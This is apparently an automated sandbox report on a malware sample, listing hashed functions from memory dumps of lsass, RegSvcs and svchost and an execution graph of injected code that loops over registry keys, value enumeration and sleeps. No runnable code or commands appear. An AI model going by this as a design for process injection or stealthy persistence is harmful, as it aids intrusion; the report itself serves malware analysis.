                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritable__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 3242871069-629598281
                                                                • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                                                • Instruction ID: 972f85bd260c2ee75a15eccb82eca9add97efd3e6d8f92d2c71b54b9a0724d42
                                                                • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                                                • Instruction Fuzzy Hash: 07518832601A028EEF64CB16F44CB1937A5F3D4BD8F558526DA1747B8CEB39DE418B04
                                                                Function 000002D6F14E83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CurrentImageNonwritable__except_validate_context_record
                                                                • String ID: csm$f
                                                                • API String ID: 3242871069-629598281
                                                                • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                                                • Instruction ID: fac092133bcf5273d306a1bfba47854e7a8849c5731493164c1dc531c6143850
                                                                • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                                                • Instruction Fuzzy Hash: D6314672601A419AEB14DF12F84CB5977A4F780BD8F15852AAE6B07B8CDB3CCE41CB04
                                                                Function 000002D6F1522058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: FileWrite$ConsoleErrorLastOutput
                                                                • String ID:
                                                                • API String ID: 2718003287-0
                                                                • Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                                                • Instruction ID: 46840878b0cc5d224b34d7d0e9dac87f5955736167c6a31398be0b02f4667bf4
                                                                • Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                                                • Instruction Fuzzy Hash: CED1BFB7714A808DE711CFA9E44829C3BB1F7547D8F14421ADE5E9BF99DA38C906C780
                                                                Function 000002D6F1522980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: ConsoleErrorLastMode
                                                                • String ID:
                                                                • API String ID: 953036326-0
                                                                • Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                                                • Instruction ID: c9214aef26bfacb35296ae088b721dff4a15a35e123c9ee8ba9635ca1e8333b4
                                                                • Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                                                • Instruction Fuzzy Hash: 5A9177A7700E909DFB649F65A48C3AD2BA0A754BC8F54410EDE4F67E95DB78C882C700
                                                                Function 000002D6F1517960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                • String ID:
                                                                • API String ID: 2933794660-0
                                                                • Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                                                • Instruction ID: 46c5aac05c874f4bb09711078cff6ceae9bbf1676f6b8508b6834c3418bbca38
                                                                • Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                                                • Instruction Fuzzy Hash: 30111C66710F418AEF008F60E8993A833A4F719798F440E22DE6E46BA4DB7CD5998380
                                                                Function 000002D6F14E9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: CallTranslator
                                                                • String ID: MOC$RCC
                                                                • API String ID: 3163161869-2084237596
                                                                • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction ID: d070504b4f6ab16698584910d28eb8b80bc01e4cc0e3f10349b5f2c037af8c0d
                                                                • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                                                • Instruction Fuzzy Hash: 6E616B73600F848AEB20DF65E4583AD7BA0F784BD8F144216EF4A57B99DB38DA95C700
                                                                Function 000002D6F1512330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: FileType
                                                                • String ID: \\.\pipe\
                                                                • API String ID: 3081899298-91387939
                                                                • Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                                                • Instruction ID: 394cc914bfb9ce43346b5ff93633d9b94699b0b3b218dfcc43da45d9579c068f
                                                                • Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                                                • Instruction Fuzzy Hash: 1951F5B2204B8189E6769F2AB09C3AA6BA1F3857C0F65412BDD4F27F49DA7DCD04C740
                                                                Function 000002D6F15226F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: ErrorFileLastWrite
                                                                • String ID: U
                                                                • API String ID: 442123175-4171548499
                                                                • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                                                • Instruction ID: 824dda5bf0e141a0eccdff39b2f392aa61083a03da449fe0be0865378a6b09d5
                                                                • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                                                • Instruction Fuzzy Hash: 75419FB3314B808ADB208F25F84C3A9A7A1F7987D4F444126EE4E87B94EB7CC841CB40
                                                                Function 000002D6F15194A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: ExceptionFileHeaderRaise
                                                                • String ID: csm
                                                                • API String ID: 2573137834-1018135373
                                                                • Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                                                • Instruction ID: 0179ef454bca868754a89d0f14593ff5d1bafe773b9c0e76b87cdcda21dd5abb
                                                                • Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                                                • Instruction Fuzzy Hash: C6113A76214F8086EB618F15F458359B7E5FB88B98F594222EE8E17B68DF3CC951CB00
                                                                Function 000002D6F14E7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: __std_exception_copy
                                                                • String ID: ierarchy Descriptor'$riptor at (
                                                                • API String ID: 592178966-758928094
                                                                • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                                                • Instruction ID: 42604dadee08075db72dd804d857af22540e6553bd8cf7546b60624dadb498d8
                                                                • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                                                • Instruction Fuzzy Hash: 2DE08661640F4594DF058F22F84829873A0DB99BA4F499123996D0B315FA3CD6F9C700
                                                                Function 000002D6F14E73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430595236.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f14e0000_lsass.jbxd
                                                                Similarity
                                                                • API ID: __std_exception_copy
                                                                • String ID: Locator'$riptor at (
                                                                • API String ID: 592178966-4215709766
                                                                • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                                                • Instruction ID: d05b7e5c656130d9458ccdc22e0b75791a29142332b64578b38792f26bb6b93c
                                                                • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                                                • Instruction Fuzzy Hash: 41E08661640F4484DF058F21F8441987360E799B94B889123C96D0B355EA3CD5E5C700
                                                                Function 000002D6F1511BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$AllocFree
                                                                • String ID:
                                                                • API String ID: 756756679-0
                                                                • Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                                                • Instruction ID: fd815924ccaf22e34c037317531bc049dc234f77afa6770aba1465aea0f85cca
                                                                • Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                                                • Instruction Fuzzy Hash: F5118C66601F8489EE05DF66F84C22973A1FB89FC4F18406ADE4E57B66DE3CD842C300
                                                                Function 000002D6F1511268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 0000003A.00000002.3430672590.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_58_2_2d6f1510000_lsass.jbxd
                                                                Similarity
                                                                • API ID: Heap$AllocProcess
                                                                • String ID:
                                                                • API String ID: 1617791916-0
                                                                • Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                                                • Instruction ID: 5530d73242211928b6024003faf75465f242705db9492874eec173ea436ce9dc
                                                                • Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                                                • Instruction Fuzzy Hash: 48E092B6601A848AEB048F62E80C34A36E1FB8DF86F14C024CD0E07751DF7D98D9CB50

                                                                Executed Functions

                                                                Function 02D30B11 Relevance: .6, Instructions: 578COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000041.00000002.2377396117.0000000002D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_65_2_2d30000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 59ed9de252dff2f8885b63f0f189129d071d8468fd720c8bd81d41ff1927b8ad
                                                                • Instruction ID: 4cb41d5d24ffb4e4e7ec6956ee8059d213dfd9d18a1a814ad93b5bdc09ceaac4
                                                                • Opcode Fuzzy Hash: 59ed9de252dff2f8885b63f0f189129d071d8468fd720c8bd81d41ff1927b8ad
                                                                • Instruction Fuzzy Hash: 3D421674A01249CFCB16DFA8D894A9DBBB2BF89314F1485A9E405EB369DB30EC45CF50
                                                                Function 02D30988 Relevance: .1, Instructions: 60COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000041.00000002.2377396117.0000000002D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_65_2_2d30000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 1e77b4be5b292dd8f4e18c81fbec8cb626d4bcb939f1e23d62a3bfb12322a03c
                                                                • Instruction ID: 96102a6113bc2f12920c6336448e7bdcde5b258fdd209f55bd2ad53a0ceb0700
                                                                • Opcode Fuzzy Hash: 1e77b4be5b292dd8f4e18c81fbec8cb626d4bcb939f1e23d62a3bfb12322a03c
                                                                • Instruction Fuzzy Hash: FA213E70A1010BDFDB55EF68EC919AD7FB2FB94300B00996EC109AB219EB746A45CF80
                                                                Function 02D30990 Relevance: .1, Instructions: 57COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000041.00000002.2377396117.0000000002D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_65_2_2d30000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: cf30f52dad144a2a55b1ee38184840b166826a22d7741a90bc07057d1583bbd6
                                                                • Instruction ID: 994695c1885c5c08a7594c185fa590f37d12ba70728792a26ef9ec88799ba32c
                                                                • Opcode Fuzzy Hash: cf30f52dad144a2a55b1ee38184840b166826a22d7741a90bc07057d1583bbd6
                                                                • Instruction Fuzzy Hash: 77212F70A0010FDFDB55EF68EC9199D7BB2FB94304B40956EC109AB259EB746A45CF80
                                                                Function 02D30877 Relevance: .0, Instructions: 43COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000041.00000002.2377396117.0000000002D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_65_2_2d30000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2e776d827782259b19bb4aea8fe606b4dc391884c6800536e7c40c609fe17d61
                                                                • Instruction ID: 812de1147ac06171441886f1b75a7bdec18e36361e0aa3c945ee9d3f13771319
                                                                • Opcode Fuzzy Hash: 2e776d827782259b19bb4aea8fe606b4dc391884c6800536e7c40c609fe17d61
                                                                • Instruction Fuzzy Hash: 36018F32D1065A8BCF119BB4DC444EDBB72FFC6314F594756D10177051E770294ACB90
                                                                Function 02D308F9 Relevance: .0, Instructions: 38COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000041.00000002.2377396117.0000000002D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_65_2_2d30000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c255d895417b2d3aec01fe29fff9ca2031b7fc91c427cb581df1746851a72d5a
                                                                • Instruction ID: 86f577358d1f3c9843727482ddfe7f0d1b70a362321ae097a7d37b31ce74aeef
                                                                • Opcode Fuzzy Hash: c255d895417b2d3aec01fe29fff9ca2031b7fc91c427cb581df1746851a72d5a
                                                                • Instruction Fuzzy Hash: 81F0C232A202099BEB15DB64C865AFFBFB5AF84300F18846AD512AB641DF716A07C7D1
                                                                Function 02D30908 Relevance: .0, Instructions: 33COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000041.00000002.2377396117.0000000002D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_65_2_2d30000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6f16f81e458f3489d0e638852375779d5d69ce361835ed8da8e0d36f9bedd623
                                                                • Instruction ID: b345916ec9a5aa6d7e032949f6b67588d8bb837e2c6e4e58ef79f8bab59d41b3
                                                                • Opcode Fuzzy Hash: 6f16f81e458f3489d0e638852375779d5d69ce361835ed8da8e0d36f9bedd623
                                                                • Instruction Fuzzy Hash: 68F08232E201099BEB15DB64C8659EFBBB69F84311F058926D513BB340DFB06906C7E1
                                                                Function 02D313A1 Relevance: .0, Instructions: 23COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000041.00000002.2377396117.0000000002D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_65_2_2d30000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0fdc58351f4e0fc7d1479b8113095e14ef62279784fb212ea944a95b692f9c34
                                                                • Instruction ID: 57ce63b48643bb8984940bbaac1f173ec4307f37407ffd8edfe3866b279aa136
                                                                • Opcode Fuzzy Hash: 0fdc58351f4e0fc7d1479b8113095e14ef62279784fb212ea944a95b692f9c34
                                                                • Instruction Fuzzy Hash: 97E0EDB1E413498FCF41DFB8D8811EEBFF0EE49200F5485AAC549E3311E2705551CB80
                                                                Function 02D313B0 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000041.00000002.2377396117.0000000002D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_65_2_2d30000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fef043d575c0f54f122b0501c9fa8b484036c79d8b33f2a125a1e09fb6ee5efe
                                                                • Instruction ID: a29a0e36a6e4573b8343281131ec18b3d9d1619b6bd7100d2c5390a5d0fd56cb
                                                                • Opcode Fuzzy Hash: fef043d575c0f54f122b0501c9fa8b484036c79d8b33f2a125a1e09fb6ee5efe
                                                                • Instruction Fuzzy Hash: 32E042B4D0530E9F8B40EFB988421AEBFF5EB48200F5085AA8A48E3700E6719A51CFD1
                                                                Function 02D30848 Relevance: .0, Instructions: 17COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000041.00000002.2377396117.0000000002D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_65_2_2d30000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: de853ec39192d7f73ef5f5899468c817a0de96170793838020b38cd668e44195
                                                                • Instruction ID: b8e85eb79d7343ec47064f6b0e333545e4f6bea5abd31aa2a7fad8631cce9c38
                                                                • Opcode Fuzzy Hash: de853ec39192d7f73ef5f5899468c817a0de96170793838020b38cd668e44195
                                                                • Instruction Fuzzy Hash: C7D01771905248AFDB52DFB8C815B5D7BB8AB05241F214496E448C7205DB35DE10DB95

                                                                Execution Graph

                                                                Execution Coverage:0.7%
                                                                Dynamic/Decrypted Code Coverage:0%
                                                                Signature Coverage:0%
                                                                Total number of Nodes:74
                                                                Total number of Limit Nodes:2
                                                                execution_graph 15131 14e41fd1abc 15136 14e41fd1628 GetProcessHeap 15131->15136 15133 14e41fd1acb 15134 14e41fd1ad2 Sleep SleepEx 15133->15134 15135 14e41fd1598 StrCmpIW StrCmpW 15133->15135 15134->15133 15135->15133 15137 14e41fd1648 __free_lconv_num 15136->15137 15181 14e41fd1268 GetProcessHeap 15137->15181 15139 14e41fd1650 15140 14e41fd1268 2 API calls 15139->15140 15141 14e41fd1661 15140->15141 15142 14e41fd1268 2 API calls 15141->15142 15143 14e41fd166a 15142->15143 15144 14e41fd1268 2 API calls 15143->15144 15145 14e41fd1673 15144->15145 15146 14e41fd168e RegOpenKeyExW 15145->15146 15147 14e41fd18a6 15146->15147 15148 14e41fd16c0 RegOpenKeyExW 15146->15148 15147->15133 15149 14e41fd16e9 15148->15149 15150 14e41fd16ff RegOpenKeyExW 15148->15150 15185 14e41fd12bc RegQueryInfoKeyW 15149->15185 15152 14e41fd173a RegOpenKeyExW 15150->15152 15153 14e41fd1723 15150->15153 15155 14e41fd1775 RegOpenKeyExW 15152->15155 15156 14e41fd175e 15152->15156 15196 14e41fd104c RegQueryInfoKeyW 15153->15196 15160 14e41fd1799 15155->15160 15161 14e41fd17b0 RegOpenKeyExW 15155->15161 15159 14e41fd12bc 13 API calls 15156->15159 15162 14e41fd176b RegCloseKey 15159->15162 15163 14e41fd12bc 13 API calls 15160->15163 15164 14e41fd17eb RegOpenKeyExW 15161->15164 15165 14e41fd17d4 15161->15165 15162->15155 15166 14e41fd17a6 RegCloseKey 15163->15166 15168 14e41fd1826 RegOpenKeyExW 15164->15168 15169 14e41fd180f 15164->15169 15167 14e41fd12bc 13 API calls 15165->15167 15166->15161 15173 14e41fd17e1 RegCloseKey 15167->15173 15171 14e41fd184a 15168->15171 15172 14e41fd1861 RegOpenKeyExW 15168->15172 15170 14e41fd104c 5 API calls 15169->15170 15174 14e41fd181c RegCloseKey 15170->15174 15175 14e41fd104c 5 API calls 15171->15175 15176 14e41fd189c RegCloseKey 15172->15176 15177 14e41fd1885 15172->15177 15173->15164 15174->15168 15178 14e41fd1857 RegCloseKey 15175->15178 15176->15147 15179 14e41fd104c 5 API calls 15177->15179 15178->15172 15180 14e41fd1892 RegCloseKey 15179->15180 15180->15176 15202 14e41fe6168 15181->15202 15183 14e41fd1283 GetProcessHeap 15184 14e41fd12ae __free_lconv_num 15183->15184 15184->15139 15186 14e41fd148a RegCloseKey 15185->15186 15187 14e41fd1327 GetProcessHeap 15185->15187 15186->15150 15193 14e41fd133e __free_lconv_num 15187->15193 15188 14e41fd1476 GetProcessHeap HeapFree 15188->15186 15189 14e41fd1352 RegEnumValueW 15189->15193 15191 14e41fd13d3 GetProcessHeap 15191->15193 15192 14e41fd141e lstrlenW GetProcessHeap 15192->15193 15193->15188 15193->15189 15193->15191 15193->15192 15194 14e41fd13f3 GetProcessHeap HeapFree 15193->15194 15195 14e41fd1443 StrCpyW 15193->15195 15204 14e41fd152c 15193->15204 15194->15192 15195->15193 15197 14e41fd11b5 RegCloseKey 15196->15197 15200 14e41fd10bf __free_lconv_num 15196->15200 15197->15152 15198 14e41fd10cf RegEnumValueW 15198->15200 15199 14e41fd114e GetProcessHeap 15199->15200 15200->15197 15200->15198 15200->15199 15201 14e41fd116e GetProcessHeap HeapFree 15200->15201 15201->15200 15203 14e41fe6177 15202->15203 15205 14e41fd157c 15204->15205 15206 14e41fd1546 15204->15206 15205->15193 15206->15205 15207 14e41fd155d StrCmpIW 15206->15207 15208 14e41fd1565 StrCmpW 15206->15208 15207->15206 15208->15206 15209 14e41fa273c 15211 14e41fa276a 15209->15211 15210 14e41fa2858 LoadLibraryA 15210->15211 15211->15210 15212 14e41fa28d4 15211->15212

                                                                Executed Functions

                                                                Function 0000014E41FD1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Heap$AllocProcess
                                                                • String ID:
                                                                • API String ID: 1617791916-0
                                                                • Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                                                • Instruction ID: 58e4b1372e48106c13d9c210e95dfed249a6192135837390fc88e392b1da2cd8
                                                                • Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                                                • Instruction Fuzzy Hash: 52E0393570170886EB058B62D80838AB7E1FB89F26F0A8028890947361DF7DC49AC760
                                                                Function 0000014E41FD328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000042.00000002.3427440730.0000014E41FD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014E41FD0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_66_2_14e41fd0000_svchost.jbxd
                                                                Similarity
                                                                • API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
                                                                • String ID:
                                                                • API String ID: 1683269324-0
                                                                • Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                                                • Instruction ID: 701d4b212a0684b59ab9b099f346debbb554c1cfb4979cb8b986742d3a5a455b
                                                                • Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                                                • Instruction Fuzzy Hash: CB1139B271864182FF60AB61BB1D3F9A3E4BF54344F5841259A0BC16B5EF7CC1468230
                                                                Function 0000014E41FD1ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                  • Part of subcall function 0000014E41FD1628: GetProcessHeap.KERNEL32 ref: 0000014E41FD1633
                                                                  • Part of subcall function 0000014E41FD1628: HeapAlloc.KERNEL32 ref: 0000014E41FD1642
                                                                  • Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD16B2
                                                                  • Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD16DF
                                                                  • Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD16F9
                                                                  • Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1719
                                                                  • Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD1734
                                                                  • Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD1754
                                                                  • Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD176F
                                                                  • Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD178F
                                                                  • Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD17AA
                                                                  • Part of subcall function 0000014E41FD1628: RegOpenKeyExW.ADVAPI32 ref: 0000014E41FD17CA
                                                                • Sleep.KERNEL32 ref: 0000014E41FD1AD7
                                                                • SleepEx.KERNEL32 ref: 0000014E41FD1ADD
                                                                  • Part of subcall function 0000014E41FD1628: RegCloseKey.ADVAPI32 ref: 0000014E41FD17E5
